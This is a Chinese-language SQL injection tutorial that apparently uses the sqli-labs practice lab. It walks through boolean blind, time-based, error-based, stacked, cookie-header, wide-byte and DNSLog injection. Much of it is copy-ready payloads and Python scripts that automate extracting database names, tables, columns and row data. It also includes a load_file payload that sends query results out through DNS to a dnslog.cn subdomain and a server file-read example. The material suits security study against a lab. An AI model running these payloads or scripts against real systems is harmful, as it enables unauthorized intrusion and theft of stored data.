一、SQL注入的本质
解释:想要进行sql注入,肯定要发现注入点,一般简单的sql注入通过下面两种方式判断就能发现是否存在sql注入漏洞
1.字符型
注意:字符型注入可能为'
或"
查询语句:
select * from student where id='5';
字符型注入
例子1:
select * from student where id='5'';
分析:观察字符型注入的例子,你输入的内容5'
,自己输入的'
提前把语句闭合,此时会造成该sql语句错误,此时应该观察页面是否报错或不显示或者出现其它情况,如果有可能存在注入点
例子2:
select * from student where id='5' -- ';
分析:观察字符型注入的例子,你输入的内容5' --
相当于将最后的'
闭合掉,然后自己构造了一个,如果此时回显正常(我们构造的语句为正常语句)此时有必要去怀疑一下此处是注入点(不一定是)
特殊情况:
SELECT * FROM course WHERE Cno=(((('4'))));
-- 这种情况简单的字符或者数字注入可能会有一些问题(CTF可能会这么搞)
2.数字型
查询语句:
select * from student where id=5;
数字注入
例子1:
select * from student where id=1';
分析:此时相当于你输入'
,sql可能会出现错误,此时应该观察页面是否报错或不显示或者出现其它情况,如果有可能存在注入点
例子2:
select * from student where id=1 and 1=2;
分析:上面内容用户输入为1 and 1=2
,在此语句下and表示并列左右语句都要满足,因为1=2
导致and一定返回false
,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在数字型注入 (但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)
二、SQL注入测试方法
1.布尔盲注
解释:布尔盲注适用于界面有变化的情况,即数据在某些条件下显示或者不显示,或者数据发生变化,其实上面介绍字符型注入和数字型注入的时候就用到了
简单例子-查询语句:
select * from student where id='5';
简单例子-字符型注入
select * from student where id='' and 1=2 -- ';
解释:其就是通过and后面的语句来构造,但是要保证and前面的一定要为true,否则后面的内容验证也就失去了意义,注入时也要根据具体情况来构造,比如验证账号密码就不能使用' and 1=2 --+
(因为你可能不知道账号是什么,就是and前面的内容很可能是错的,但是登录需要账号密码都正确,这时用' or 1=1 --+
或许能够有效解决问题)
简单例子-应用实例:
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+
2.时间盲注
解释:时间盲注的意思,在布尔盲注失效,即页面无论怎么样注入都不存在回显的情况下,可能就需要用到时间盲注了,其原理就是,如果存在注入点,就执行睡眠函数,让页面去进行等待,以次去观察页面反应时间,如果页面大概等待了指定时间才返回值可能就存在时间盲注
查询语句:
select * from student where id='5';
字符型注入
select * from student where id='' and sleep(5) -- ';
解释:上诉问题就是在页面没有内容回显的情况下进行的,当存在该注入点的时候,页面会睡眠5秒以上才会响应,这就是证明存在该注入点,可能通过类似此的方法来便利获取服务器的数据
3.报错注入
解释:这种注入是一种显示注入,但仅限页面出现报错,或者服务器返回相应码为500或其它异常情况使用,一般这种注入方式存在于CTF题目当中(报错会显示数据库内容,不报错不显示),现实案例很少
select * from mysql where id=1'
-- 提醒我们要用')来闭合
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin '') LIMIT 0,1' at line 1
-- 提醒我们要用'))来闭合
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''));
SELECT * FROM course WHERE Cno=(('1')) UNION SELECT 1,2,3,4 FROM dwauds -- '));
-- 下面的报错,让我们知道库名为jack
Table 'jack.dwauds' doesn't exist
4.堆叠注入
解释: 堆叠注入相当于程序执行了两条语句,第二句语句是攻击者构造的相当具有威胁性;
查询语句:
select * from student where id='5';
字符型注入
select * from student where id='5';show tables;
select * from student where id='5';SHOW COLUMNS FROM `course`;-- 表名要加反引号
select * from student where id='5';HANDLER `course` OPEN AS `a`;HANDLER `a` READ NEXT;
-- handler创建一个表(course)的对象叫做a
-- 第二句会从表(course)第一行开始执行一次读取下一行一次
注意: 堆叠注入的局限性很强,并不是每一个环境下都可以执行,但是一但能用利用很容易很有效
5.消息头注入
解释:消息头注入是什么呢?简单来说,就是在消息头(下例)里面加入测试内容,观察服务器反应,一般常用的注入点有:User-Agent(服务器可以执行sql语句读取此信息将其写入数据)cookie(服务器一般会读取cookie去分辨用户,自然也会读取数据库进行用户比对)Referer(其表示从哪个网址跳来,服务器也经常统计此数据,将其写入数据库来分析用户的来源)X-Forwarded-For(用户最原始的ip地址,服务器常以此统计用户ip,自然也会写入,或与数据库已经有的进行比对)
下例(Cookie注入):
GET /Less-20/index.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Referer: http://localhost/Less-20/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=1' AND (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()))) --+
Connection: close
6.约束注入
解释:约束注入注入指的是在数据库设置为非严格模式,以及数据某字段没有索引设置为UNIQUE时,产生的插入数据重复的问题,可能会产生越权问题
例如:A表里面的user字段最大长度为10,此时数据库设置为非严格模式,user字段没有设置UNIQUE,
此时执行insert into A(user) values('admin x');就会导致数据库只读取前10个字符,导致admin值被插入进去,此时可能导致数据库里面有两个admin账号,产生越权(最后加x是因为如果admin后面全是空格insert的时候会被自动删除)
预防:
①当设置数据库为严格模式
(SQL 模式中包含STRICT_TRANS_TABLES或STRICT_ALL_TABLES(SELECT @@sql_mode;)可查看)
此时插入超过10个字符会报错字符串太长无法插入
②当user索引设置上unique时,插入会提示字段重复
7.宽字节注入
解释:宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),这样才能到达汉字的范围),双字节的工作原理:当第一个字节的范围为0x81-0xFE其才会去尝试识别第二个字节并且第二个字节的范围为0x40-0xFE,才会将它们拼接在一起,组合成一个汉字
使用情景:当遇到mysql对'
也就是单引号进行转义的时候,我们可以采取宽字节注入,例如我们注入'
,单引号会变成\'
导致我们的单引号无法完成闭合,但是当我们注入%df'
因为此时mysql在GBK编码同时由于过滤机制会自动给'
前面添加上\
也就是%5c
此时我们的结果变为了%df%5c'
也就是運'
此时单引号过滤就失效了
注意:%df
并非强制使用,只需要其转换过来的ascii大于128即可,范围0x81~0xFE
,例如%81 %fe
8.DNSLog注入
原理:'\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
利用思路:当我们遇到下面三种情况时,可以考虑此方法,如果目标可以发送DNS请求,则可以通过DNS log方式将想获得的数据外带出来
- 服务器部署在Window系统上
- SQL盲注
- 无回显的命令执行
- 无回显的SSRF
利用:
在上述网址申请一个临时子域名,并把子域名替换到下面代码里的对应位置
# 下面我们可以看到服务器把内容回显到了DNS Query Record上面,通过这样的方法我们可以获取到服务器中不回显的信息
id=1' and load_file(concat('\\\\',(select database()),'.bk4rtj.dnslog.cn\\abc')) --+
id=1'; load_file(concat('\\\\',(select database()),'.bk4rtj.dnslog.cn\\abc'));
三、SQL权限
解释:当我们发现注入点之后要先查询一下数据库的权限,因为如果数据库的权限为root时,权限很
大,此时root权限能够被利用
SELECT UserId from users WHERE UserId=5 UNION SELECT USER();
1.任意文件读取
SELECT UserId from users WHERE UserId=5 UNION SELECT load_file("/var/www/html/index.html");
四、SQL暴库方法
前提:此时已经找到了注入点,正在准备执行任意sql命令
1.联合注入
获取列数
解释:只有我们知道当前的列数,后面才能让我们执行联合查询语句
sql:SELECT * FROM course WHERE Cno='1' ORDER BY 5 -- ';
快速利用:
1' ORDER BY 5 --+'
1' ORDER BY 5 -- '
知识点:如上使用order by
语句,当order by n
中n小于当前表的列数不会报错,大于当前表的列数就会报错,显示在程序页面可能显示为数据消失或者异常
解释:通过发现注入点,想要执行我们的sql语句就要用到联合注入
简单执行:SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,4 -- ';
常用函数:
名称 | 功能 |
---|---|
database() | 当前数据库名字 |
user() | 当前用户的名字 |
@@version_compile_os | 操作系统版本 |
@@datadir | 数据库的路径 |
version() | mysql的版本号 |
简单例子:SELECT * FROM course WHERE Cno='-1' UNION SELECT @@datadir,USER(),DATABASE(),@@version_compile_os -- ';
1.1 获取数据库信息
- 解释:当知道了有哪些数据库才能开始从该数据库获取信息
- 构造后语句:
SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- ';
GROUP_CONCAT(schema_name)
其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示- 普通命令:
SELECT schema_name FROM information_schema.schemata;
- 原理:
information_schema
的schemata
表里面放着所有数据库信息 - 快速利用:
-1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+'
-1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- '
1.2 获取表信息
- 解释:当知道了有哪些表才能开始从该表获取信息
- 构造后语句:
SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() -- ';
GROUP_CONCAT(table_name)
其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示- 普通命令:
SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE();
- 原理:
information_schema
的tables
表里面放着所有数据的表单 - 快速利用:
1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() --+'
1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() -- '
1.3 获取表字段信息
- 解释:当知道了表里面有哪些字段才能开始从该表获取信息,当然有人可能说知道表名直接使用
select *
但是由于使用union的联合查询受到诸多限制,这样使用并不现实 - 构造后语句:
SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' -- ';
GROUP_CONCAT(column_name)
其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示- 普通命令:
SELECT column_name FROM information_schema.columns WHERE table_name='course';
- 原理:
information_schema
的columns
表里面放着所有数据的表单 - 快速利用:
-1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' --+'
-1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' -- '
1.4 获取数据
构造命令:
SELECT * FROM course WHERE Cno='-1'
UNION SELECT 1,2,3,GROUP_CONCAT(Cname) FROM course -- ';
普通命令:
SELECT Cname FROM course;
2.布尔注入
下面的python代码环境来自
sqli-labs的Less-8
解释:上面的例子里面已经介绍了布尔盲注的测试方法,同时还介绍了联合注入,但是可能存在一种情况,对方WAF过滤了union字段,那么我们根本就无法使用联合注入,那我们只能使用下面介绍的布尔注入
2.1 获取数据库的信息
1. 获取数据库的长度
-- 执行LENGTH(DATABASE())>2发现返回正常
SELECT * FROM course WHERE Cno='1' AND LENGTH(DATABASE())>2 -- ';
-- 执行LENGTH(DATABASE())>3发现返回不正常,证明数据库长度就是3
SELECT * FROM course WHERE Cno='1' AND LENGTH(DATABASE())>3 -- ';
import requests
url = 'http://localhost:801/Less-8/'
n = 1
for i in range(1, 20):
sql_payloads = f"1' and length(database())>{i} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(f'数据库长度:{n}')
break
2. 获得当前数据库的名字
函数:
ASCII(a)
:获取a对应的ascii数值(ascii范围0-127)SUBSTR(DATABASE(),1,1)
:截取内容,第一个字段表示字符串,第二个参数表示截取从第几个开始,第三个参数表示截取截取的长度(注意substr(str,1,1) -- 第二个参数从1开始,也就是说sql下标从1开始
)
暴力破解数据库第一个字母
-- 执行ASCII(SUBSTR(DATABASE(),1,1))>102发现返回正常
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),1,1))>102 -- ';
-- 执行ASCII(SUBSTR(DATABASE(),1,1))>103发现返回不正常,证明数据库第一个字对应的ascill是103由此可以知道其为g
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),1,1))>103 -- ';
暴力破解数据库第二个字母
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),2,1))>103 -- ';
暴力破解数据库第三个字母
SELECT * FROM course WHERE Cno='1' AND ASCII(SUBSTR(DATABASE(),3,1))>103 -- ';
import requests
url = 'http://localhost:801/Less-8/'
str = ''
for i in range(1, 9):
n = 0
for j in range(0, 128):
sql_payloads = f"1' and ascii(substr(database(),{i},1))>{j} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(f'第{i}个字母为:{chr(n)}')
str += chr(n)
break
print(str)
2.2 获取表的信息
函数:
limit x,y
:表示限制返回内容的行数,表示从x+1
行开始,返回y
行
1. 获取查询当前数据库的有几个表
-- 查询当前数据库里面拥有的表单是否大于3(解释专用)
SELECT * FROM course
WHERE Cno='1'
AND (SELECT COUNT(table_name) FROM information_schema.tables
WHERE table_schema=DATABASE())>3 -- ';
-- 查询当前数据库里面拥有的表单是否大于3(复制专用)
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())>3 -- ';
import requests
url = 'http://localhost:801/Less-8/'
n = 1
for i in range(1, 20):
sql_payloads = f"1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())>{i} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(f'一共有:{n}个表')
break
2. 获取查询当前数据库第n个表的长度
-- 第一个表单长度(解释专用)
SELECT * FROM course
WHERE Cno='1'
AND LENGTH((SELECT table_name FROM information_schema.tables
WHERE table_schema=DATABASE() LIMIT 0,1))>2 -- ';
-- 第一个表单长度(复制专用)
1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))>2 -- ';
import requests
url = 'http://localhost:801/Less-8/'
table_name_list = []
for i in range(0, 4):
n = 0
for j in range(0, 30):
sql_payloads = f"1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1))>{j} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(f'{n}')
table_name_list.append(n)
break
print(table_name_list)
3. 获取查询当前数据库的所有表的名字各是什么
-- 第一个表单的第一个字母(解释专用)
SELECT * FROM course
WHERE Cno='1'
AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables
WHERE table_schema=DATABASE() LIMIT 0,1),1,1))>103 -- ';
-- 第一个表单的第一个字母(复制专用)
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))>103 -- ';
import requests
url = 'http://localhost:801/Less-8/'
table_name_list = []
# 使用二分法,速度较快
def binary_search(sql_payloads):
n = 128
low = 0
high = n - 1
# 1 mid = 63 通过 low=64 high=127
# 2 mid = 95 不通过 low=64 high=94
# 3 mid = 79 通过 low = 80 high=94
# 4 mid = 87 通过 low = 88 high=94
# 5 mid = 91 通过 low = 92 high=94
# 6 mid = 93 通过 low = 94 high = 94
n = sql_payloads
while low <= high:
sql_payloads = n
mid = (low + high) // 2
sql_payloads += f"{mid} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
# 表示满足条件
if 'You are in...........' in response:
low = mid + 1
else:
high = mid - 1
return low
for i in range(0, 4):
n = 0
for j in range(0, 30):
sql_payloads = f"1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1))>{j} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
table_name_list.append(n)
break
print(table_name_list)
for key, i in enumerate(table_name_list):
str = ''
for j in range(1, i + 1):
sql_payloads = f"1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {key},1),{j},1))>"
n = binary_search(sql_payloads)
str += chr(n)
print(str)
2.3 获取表的字段信息
1. 获取某表有几个字段
-- (解释专用)
SELECT * FROM course
WHERE Cno='1'
AND (SELECT COUNT(column_name) FROM information_schema.columns
WHERE table_schema=DATABASE() AND table_name='course')>3 -- ';
-- (复制专用)
1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='course')>3 -- ';
import requests
url = 'http://localhost:801/Less-8/'
n = 1
for i in range(1, 20):
sql_payloads = f"1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users')>{i} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(n)
break
2. 获取某表各字段的长度
-- (解释专用)
SELECT * FROM course
WHERE Cno='1'
AND LENGTH((SELECT column_name FROM information_schema.columns
WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1))>3 -- ';
-- (复制专用)
1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1))>3 -- ';
import requests
url = 'http://localhost:801/Less-8/'
# 已知email表字段有两个
for i in range(0, 2):
n = 1
for j in range(1, 100):
sql_payloads = f"1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='emails' LIMIT {i},1))>{j} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(n)
break
3. 获取某表各字段的内容
-- (解释专用)
SELECT * FROM course
WHERE Cno='1'
AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns
WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1),0,1))>50 -- ';
-- (复制专用)
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='course' LIMIT 0,1),0,1))>50 -- ';
import requests
url = 'http://localhost:801/Less-8/'
# 使用二分法,速度较快
def binary_search(sql_payloads):
n = 128
low = 0
high = n - 1
# 1 mid = 63 通过 low=64 high=127
# 2 mid = 95 不通过 low=64 high=94
# 3 mid = 79 通过 low = 80 high=94
# 4 mid = 87 通过 low = 88 high=94
# 5 mid = 91 通过 low = 92 high=94
# 6 mid = 93 通过 low = 94 high = 94
n = sql_payloads
while low <= high:
sql_payloads = n
mid = (low + high) // 2
sql_payloads += f"{mid} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
# 表示满足条件
if 'You are in...........' in response:
low = mid + 1
else:
high = mid - 1
return low
# 目前已知email表第一个字段长度为2,第二个字段长度为8
list_g = [2, 8]
for key, i in enumerate(list_g):
str = ''
for j in range(1, i+1):
sql_payloads = f"1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='emails' LIMIT {key},1),{j},1))>"
n = binary_search(sql_payloads)
str += chr(n)
print(str)
2.4 获取数据
解释:到这步骤时,肯定已知了数据库名和表,以及其字段内容,下面目的就是获得数据的内容
1.获取某表里面有多少行
-- (解释专用)
SELECT * FROM course
WHERE Cno='1'
AND (SELECT COUNT(*) FROM course)>8 -- ';
-- (复制专用)
1' AND (SELECT COUNT(*) FROM course)>8 -- ';
import requests
url = 'http://localhost:801/Less-8/'
n = 0
for i in range(0, 9999999999999):
sql_payloads = f"1' AND (SELECT COUNT(*) FROM emails)>{i} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(n)
break
2.获取某表第一行内容的长度
-- 所有内容将挤满一行(解释专用)
SELECT * FROM course
WHERE Cno='1'
AND LENGTH((SELECT GROUP_CONCAT(Cno, Cname) FROM course))>20 -- ';
-- (复制专用)
1' AND LENGTH((SELECT GROUP_CONCAT(Cno, Cname) FROM course))>20 -- ';
import requests
url = 'http://localhost:801/Less-8/'
# 已知数据只有8行
# 这里不去查询行数也可以
n = 0
for i in range(0, 999999999999999999999999):
sql_payloads = f"1' AND LENGTH((SELECT GROUP_CONCAT(id, email_id) FROM emails))>{i} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
if 'You are in...........' in response:
n += 1
else:
print(n)
break
3.获取某表的内容
-- (解释专用)
SELECT * FROM course
WHERE Cno='1'
AND ASCII(SUBSTR((SELECT GROUP_CONCAT(Cno, Cname) FROM course),1,1))>100 -- ';
-- (复制专用)
1' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(Cno, Cname) FROM course),1,1))>100 -- ';
import requests
url = 'http://localhost:801/Less-8/'
# 已知数据总长度165
# 使用二分法,速度较快
def binary_search(sql_payloads):
n = 128
low = 0
high = n - 1
# 1 mid = 63 通过 low=64 high=127
# 2 mid = 95 不通过 low=64 high=94
# 3 mid = 79 通过 low = 80 high=94
# 4 mid = 87 通过 low = 88 high=94
# 5 mid = 91 通过 low = 92 high=94
# 6 mid = 93 通过 low = 94 high = 94
n = sql_payloads
while low <= high:
sql_payloads = n
mid = (low + high) // 2
sql_payloads += f"{mid} -- "
params = {'id': sql_payloads}
response = requests.get(url=url, params=params)
response = response.text
# 表示满足条件
if 'You are in...........' in response:
low = mid + 1
else:
high = mid - 1
return low
str = ''
for i in range(1, 166):
sql_payloads = f"1' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(id, email_id) FROM emails),{i},1))>"
n = binary_search(sql_payloads)
str += chr(n)
print(str)
3.报错注入
解释:发现报错注入的显示报错点,可以用此进行爆库,下面介绍常用的报错函数,以及暴库方法(暴库还是要结合联合查询里面的知识)(下面图示有详细报错注入函数可自行查阅资料尝试)
1.extractvalue
解释:属于XPath报错,适用于5.1之后的版本,返回内容最大值为32,函数用途是在html文档中用标签查找元素,但是报错信息会泄露用户执行的内容
语法:extractvalue(XML_document, XPath_String)
SELECT * from users WHERE UserId=1 and (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE())));
-- XPATH syntax error: '~jack'
payload:
1' AND (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()))) --+
1' AND (SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()))) #
2.updatexml
解释:属于XPath报错,适用于5.1之后的版本,返回内容最大值为32,函数用途是改变文档中符合条件的数值,但是报错信息会泄露用户执行的内容
语法:updatexml(XML_document, XPath_String, New_Value)
SELECT * from users WHERE UserId=1 and (SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1));
-- XPATH syntax error: '~jack'
payload:
1' AND (SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1)) --+
1' AND (SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1)) #
3.floor
- floor(x):对参数x向下取整;
- rand():生成一个0~1之间的随机浮点数;
- count(*):统计某个表下总共有多少条记录;
- group by x:按照(by)一定的规则(x)进行分组;
报错原理:floor()函数与group by x、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by x将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry ‘…’ for key ‘<group_key>’
注意:mysql8.x版本目测没有这个问题
SELECT 1 FROM (SELECT COUNT(*),CONCAT((USER()),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a
-- Duplicate entry 'root@localhost1' for key '<group_key>'
payload:
# 注意下面这个用到了union,注入order by的数目,下例为3
1' union select 1,count(*),CONCAT((USER()),FLOOR(RAND(0)*2))x from users group by x --+ --+
1' union select 1,count(*),CONCAT((USER()),FLOOR(RAND(0)*2))x from users group by x --+ #
3.1 获取数据库信息
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables)))) --
-- XPATH syntax error: '~mysql,information_schema,perfor'
-- 这样只能获取前32长度,可能获取不全
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata),32,32)))) --
-- 这样只能获取32-64长度,可能获取不全
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata),64,32))));
-- 这样只能获取64-96长度,可能获取不全
3.2 获取表信息
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables))));
-- XPATH syntax error: '~xx,2,coe2'
-- 这样只能获取前32长度,可能获取不全
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',SUBSTR((SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables WHERE table_schema='xx'),32,32))));
-- 这样只能获取32-64长度,可能获取不全
3.3 获取表字段信息
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course'))));
-- XPATH syntax error: '~C,me,o,t'
-- 这样只能获取前32长度,可能获取不全
-- 长度过长用substr
SELECT * from sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT SUBSTR(GROUP_CONCAT(column_name),32,64) FROM information_schema.columns WHERE table_name='users'))));
3.4 获取数据
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT GROUP_CONCAT(Cno) FROM course))));
-- XPATH syntax error: '~1,2,3,4,5,6,7,8,9'
-- 这样只能获取前32长度,可能获取不全
-- 长度过长用substr
SELECT * FROM sc WHERE Cno=1 AND (EXTRACTVALUE(1,CONCAT('~',(SELECT SUBSTR(GROUP_CONCAT(Cno),1,32) FROM course))));
4.时间盲注
解释:时间盲注暴库需要具备布尔盲注的基本知识,适用情况:发现位置可能存在注入点,但是普通测试发现页面没有任何反应,此时可能存在时间盲注,确认出现时间盲注后,可用时间盲注知识,写python脚本去暴库(时间盲注暴库相当费时间),下面就不再从爆库暴表爆列开始了,基本上与联合注入知识、布尔盲注知识重复性很高,主要看一下python脚本怎么实现
环境:sql-labs的Less-9
思路1:
SELECT * FROM emails WHERE id=1 AND xxxxxxxx AND SLEEP(5) -- ';
-- 发现注入点之后,当xxxxxx成立时才会执行SLEEP(5),所以我们可以在xxxxxx处去执行代码,然后用布尔盲注的思路去整就ok
思路2:
-- IF(condition, value_if_true, value_if_false)
-- condition 是一个条件表达式,如果为真,将返回 value_if_true ,否则返回 value_if_false 。
-- value_if_true 是在条件为真时要返回的值。
-- value_if_false 是在条件为假时要返回的值。
SELECT * FROM emails WHERE id=1 union select 1,if(column3 > 10, sleep(5), 1) -- ';
-- 发现注入点之后,当column3 > 10成立时才会执行SLEEP(5),否则返回1,所以我们可以在column3 > 10处去执行代码,然后用布尔盲注的思路去整就ok
例如:
SELECT * FROM emails WHERE id=1
UNION SELECT
1,IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(id, email_id) FROM emails),1,1))>49, SLEEP(2),1);
思路三
http://localhost/Less-9/?id=1' and if((substr('1',1,1)='2'),sleep(2),1) --+
import time
import requests
# 采用思路1
# 该脚本写的很简单,只对emails数据进行获取
# 166是email表所有字段总长度,将其当已知条件
str = ''
for i in range(1, 166):
for j in range(128):
url = f"http://localhost:801/Less-9/?id=2' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(id, email_id) FROM emails),{i},1))<{j} and sleep(2) -- "
atime = time.time()
response = requests.get(url)
btime = time.time()
if btime - atime > 2:
str += chr(j-1)
print(str)
break